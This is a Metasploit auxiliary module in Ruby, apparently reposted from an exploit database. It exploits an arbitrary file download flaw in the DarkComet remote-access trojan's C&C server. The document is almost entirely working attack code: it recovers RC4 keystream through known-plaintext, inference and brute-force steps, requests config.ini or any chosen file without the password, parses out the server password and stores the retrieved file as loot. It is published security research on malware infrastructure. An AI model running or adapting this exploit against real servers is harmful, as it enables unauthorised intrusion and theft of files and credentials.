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# DarkComet Server Remote File Download Vulnerability

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##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::Tcp
include Msf::Auxiliary::Report

def initialize(info = {})
super(update_info(info,
'Name' => 'DarkComet Server Remote File Download Exploit',
'Description' => %q{
This module exploits an arbitrary file download vulnerability in the DarkComet C&C server versions 3.2 and up.
The exploit does not need to know the password chosen for the bot/server communication.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Shawn Denbow & Jesse Hertz', # Vulnerability Discovery
'Jos Wetzels' # Metasploit module, added support for versions < 5.1, removed need to know password via cryptographic attack
],
'References' =>
[
[ 'URL', 'https://www.nccgroup.trust/globalassets/our-research/us/whitepapers/PEST-CONTROL.pdf' ],
[ 'URL', 'http://samvartaka.github.io/exploitation/2016/06/03/dead-rats-exploiting-malware' ]
],
'DisclosureDate' => 'Oct 08 2012',
'Platform' => 'win'
))

register_options(
[
Opt::RPORT(1604),
Opt::RHOST('0.0.0.0'),

OptString.new('LHOST', [true, 'This is our IP (as it appears to the DarkComet C2 server)', '0.0.0.0']),
OptString.new('KEY', [false, 'DarkComet RC4 key (include DC prefix with key eg. #KCMDDC51#-890password)', '']),
OptBool.new('NEWVERSION', [false, 'Set to true if DarkComet version >= 5.1, set to false if version < 5.1', true]),
OptString.new('TARGETFILE', [false, 'Target file to download (assumes password is set)', '']),
OptBool.new('STORE_LOOT', [false, 'Store file in loot (will simply output file to console if set to false).', true]),
OptInt.new('BRUTETIMEOUT', [false, 'Timeout (in seconds) for bruteforce attempts', 1])

], self.class)
end

# Functions for XORing two strings, deriving keystream using known plaintext and applying keystream to produce ciphertext
def xor_strings(s1, s2)
s1.unpack('C*').zip(s2.unpack('C*')).map { |a, b| a ^ b }.pack('C*')
end

def get_keystream(ciphertext, known_plaintext)
c = [ciphertext].pack('H*')
if known_plaintext.length > c.length
return xor_strings(c, known_plaintext[0, c.length])
elsif c.length > known_plaintext.length
return xor_strings(c[0, known_plaintext.length], known_plaintext)
else
return xor_strings(c, known_plaintext)
end
end

def use_keystream(plaintext, keystream)
if keystream.length > plaintext.length
return xor_strings(plaintext, keystream[0, plaintext.length]).unpack('H*')[0].upcase
else
return xor_strings(plaintext, keystream).unpack('H*')[0].upcase
end
end

# Use RubyRC4 functionality (slightly modified from Max Prokopiev's implementation https://github.com/maxprokopiev/ruby-rc4/blob/master/lib/rc4.rb)
# since OpenSSL requires at least 128-bit keys for RC4 while DarkComet supports any keylength
def rc4_initialize(key)
@q1 = 0
@q2 = 0
@key = []
key.each_byte { |elem| @key << elem } while @key.size < 256
@key.slice!(256..@key.size - 1) if @key.size >= 256
@s = (0..255).to_a
j = 0
0.upto(255) do |i|
j = (j + @s[i] + @key[i]) % 256
@s[i], @s[j] = @s[j], @s[i]
end
end

def rc4_keystream
@q1 = (@q1 + 1) % 256
@q2 = (@q2 + @s[@q1]) % 256
@s[@q1], @s[@q2] = @s[@q2], @s[@q1]
@s[(@s[@q1] + @s[@q2]) % 256]
end

def rc4_process(text)
text.each_byte.map { |i| (i ^ rc4_keystream).chr }.join
end

def dc_encryptpacket(plaintext, key)
rc4_initialize(key)
rc4_process(plaintext).unpack('H*')[0].upcase
end

# Try to execute the exploit
def try_exploit(exploit_string, keystream, bruting)
connect
idtype_msg = sock.get_once(12)

if idtype_msg.length != 12
disconnect
return nil
end

if datastore['KEY'] != ''
exploit_msg = dc_encryptpacket(exploit_string, datastore['KEY'])
else
# If we don't have a key we need enough keystream
if keystream.nil?
disconnect
return nil
end

if keystream.length < exploit_string.length
disconnect
return nil
end

exploit_msg = use_keystream(exploit_string, keystream)
end

sock.put(exploit_msg)

if bruting
begin
ack_msg = sock.timed_read(3, datastore['BRUTETIMEOUT'])
rescue Timeout::Error
disconnect
return nil
end
else
ack_msg = sock.get_once(3)
end

if ack_msg != "\x41\x00\x43"
disconnect
return nil
# Different protocol structure for versions >= 5.1
elsif datastore['NEWVERSION'] == true
if bruting
begin
filelen = sock.timed_read(10, datastore['BRUTETIMEOUT']).to_i
rescue Timeout::Error
disconnect
return nil
end
else
filelen = sock.get_once(10).to_i
end
if filelen == 0
disconnect
return nil
end

if datastore['KEY'] != ''
a_msg = dc_encryptpacket('A', datastore['KEY'])
else
a_msg = use_keystream('A', keystream)
end

sock.put(a_msg)

if bruting
begin
filedata = sock.timed_read(filelen, datastore['BRUTETIMEOUT'])
rescue Timeout::Error
disconnect
return nil
end
else
filedata = sock.get_once(filelen)
end

if filedata.length != filelen
disconnect
return nil
end

sock.put(a_msg)
disconnect
return filedata
else
filedata = ''

if bruting
begin
msg = sock.timed_read(1024, datastore['BRUTETIMEOUT'])
rescue Timeout::Error
disconnect
return nil
end
else
msg = sock.get_once(1024)
end

while (!msg.nil?) && (msg != '')
filedata += msg
if bruting
begin
msg = sock.timed_read(1024, datastore['BRUTETIMEOUT'])
rescue Timeout::Error
break
end
else
msg = sock.get_once(1024)
end
end

disconnect

if filedata == ''
return nil
else
return filedata
end
end
end

# Fetch a GetSIN response from C2 server
def fetch_getsin
connect
idtype_msg = sock.get_once(12)

if idtype_msg.length != 12
disconnect
return nil
end

keystream = get_keystream(idtype_msg, 'IDTYPE')
server_msg = use_keystream('SERVER', keystream)
sock.put(server_msg)

getsin_msg = sock.get_once(1024)
disconnect
getsin_msg
end

# Carry out the crypto attack when we don't have a key
def crypto_attack(exploit_string)
getsin_msg = fetch_getsin
if getsin_msg.nil?
return nil
end

getsin_kp = 'GetSIN' + datastore['LHOST'] + '|'
keystream = get_keystream(getsin_msg, getsin_kp)

if keystream.length < exploit_string.length
missing_bytecount = exploit_string.length - keystream.length

print_status("Missing #{missing_bytecount} bytes of keystream ...")

inferrence_segment = ''
brute_max = 4

if missing_bytecount > brute_max
print_status("Using inferrence attack ...")

# Offsets to monitor for changes
target_offset_range = []
for i in (keystream.length + brute_max)..(keystream.length + missing_bytecount - 1)
target_offset_range << i
end

# Store inference results
inference_results = {}

# As long as we haven't fully recovered all offsets through inference
# We keep our observation window in a circular buffer with 4 slots with the buffer running between [head, tail]
getsin_observation = [''] * 4
buffer_head = 0

for i in 0..2
getsin_observation[i] = [fetch_getsin].pack('H*')
Rex.sleep(0.5)
end

buffer_tail = 3

# Actual inference attack happens here
while !target_offset_range.empty?
getsin_observation[buffer_tail] = [fetch_getsin].pack('H*')
Rex.sleep(0.5)

# We check if we spot a change within a position between two consecutive items within our circular buffer
# (assuming preceding entries are static in that position) we observed a 'carry', ie. our observed position went from 9 to 0
target_offset_range.each do |x|
index = buffer_head

while index != buffer_tail do
next_index = (index + 1) % 4

# The condition we impose is that observed character x has to differ between two observations and the character left of it has to differ in those same
# observations as well while being constant in at least one previous or subsequent observation
if (getsin_observation[index][x] != getsin_observation[next_index][x]) && (getsin_observation[index][x - 1] != getsin_observation[next_index][x - 1]) && ((getsin_observation[(index - 1) % 4][x - 1] == getsin_observation[index][x - 1]) || (getsin_observation[next_index][x - 1] == getsin_observation[(next_index + 1) % 4][x - 1]))
target_offset_range.delete(x)
inference_results[x] = xor_strings(getsin_observation[index][x], '9')
break
end
index = next_index
end
end

# Update circular buffer head & tail
buffer_tail = (buffer_tail + 1) % 4
# Move head to right once tail wraps around, discarding oldest item in circular buffer
if buffer_tail == buffer_head
buffer_head = (buffer_head + 1) % 4
end
end

# Inferrence attack done, reconstruct final keystream segment
inf_seg = ["\x00"] * (keystream.length + missing_bytecount)
inferrence_results.each do |x, val|
inf_seg[x] = val
end

inferrence_segment = inf_seg.slice(keystream.length + brute_max, inf_seg.length).join
missing_bytecount = brute_max
end

if missing_bytecount > brute_max
print_status("Improper keystream recovery ...")
return nil
end

print_status("Initiating brute force ...")

# Bruteforce first missing_bytecount bytes of timestamp (maximum of brute_max)
charset = ['1', '2', '3', '4', '5', '6', '7', '8', '9', '0']
char_range = missing_bytecount.times.map { charset }
char_range.first.product(*char_range[1..-1]) do |x|
p = x.join
candidate_plaintext = getsin_kp + p
candidate_keystream = get_keystream(getsin_msg, candidate_plaintext) + inferrence_segment
filedata = try_exploit(exploit_string, candidate_keystream, true)

if !filedata.nil?
return filedata
end
end
return nil
end

try_exploit(exploit_string, keystream, false)
end

def parse_password(filedata)
filedata.each_line { |line|
elem = line.strip.split('=')
if elem.length >= 1
if elem[0] == 'PASSWD'
if elem.length == 2
return elem[1]
else
return ''
end
end
end
}
return nil
end

def run
# Determine exploit string
if datastore['NEWVERSION'] == true
if (datastore['TARGETFILE'] != '') && (datastore['KEY'] != '')
exploit_string = 'QUICKUP1|' + datastore['TARGETFILE'] + '|'
else
exploit_string = 'QUICKUP1|config.ini|'
end
elsif (datastore['TARGETFILE'] != '') && (datastore['KEY'] != '')
exploit_string = 'UPLOAD' + datastore['TARGETFILE'] + '|1|1|'
else
exploit_string = 'UPLOADconfig.ini|1|1|'
end

# Run exploit
if datastore['KEY'] != ''
filedata = try_exploit(exploit_string, nil, false)
else
filedata = crypto_attack(exploit_string)
end

# Harvest interesting credentials, store loot
if !filedata.nil?
# Automatically try to extract password from config.ini if we haven't set a key yet
if datastore['KEY'] == ''
password = parse_password(filedata)
if password.nil?
print_status("Could not find password in config.ini ...")
elsif password == ''
print_status("C2 server uses empty password!")
else
print_status("C2 server uses password [#{password}]")
end
end

# Store to loot
if datastore['STORE_LOOT'] == true
print_status("Storing data to loot...")
if (datastore['KEY'] == '') && (datastore['TARGETFILE'] != '')
store_loot("darkcomet.file", "text/plain", datastore['RHOST'], filedata, 'config.ini', "DarkComet C2 server config file")
else
store_loot("darkcomet.file", "text/plain", datastore['RHOST'], filedata, datastore['TARGETFILE'], "File retrieved from DarkComet C2 server")
end
else
print_status(filedata.to_s)
end
else
print_status("Attack failed or empty config file encountered ...")
end
end
end



###########################

# Iranian Exploit DataBase = http://IeDb.Ir [2016-07-14]

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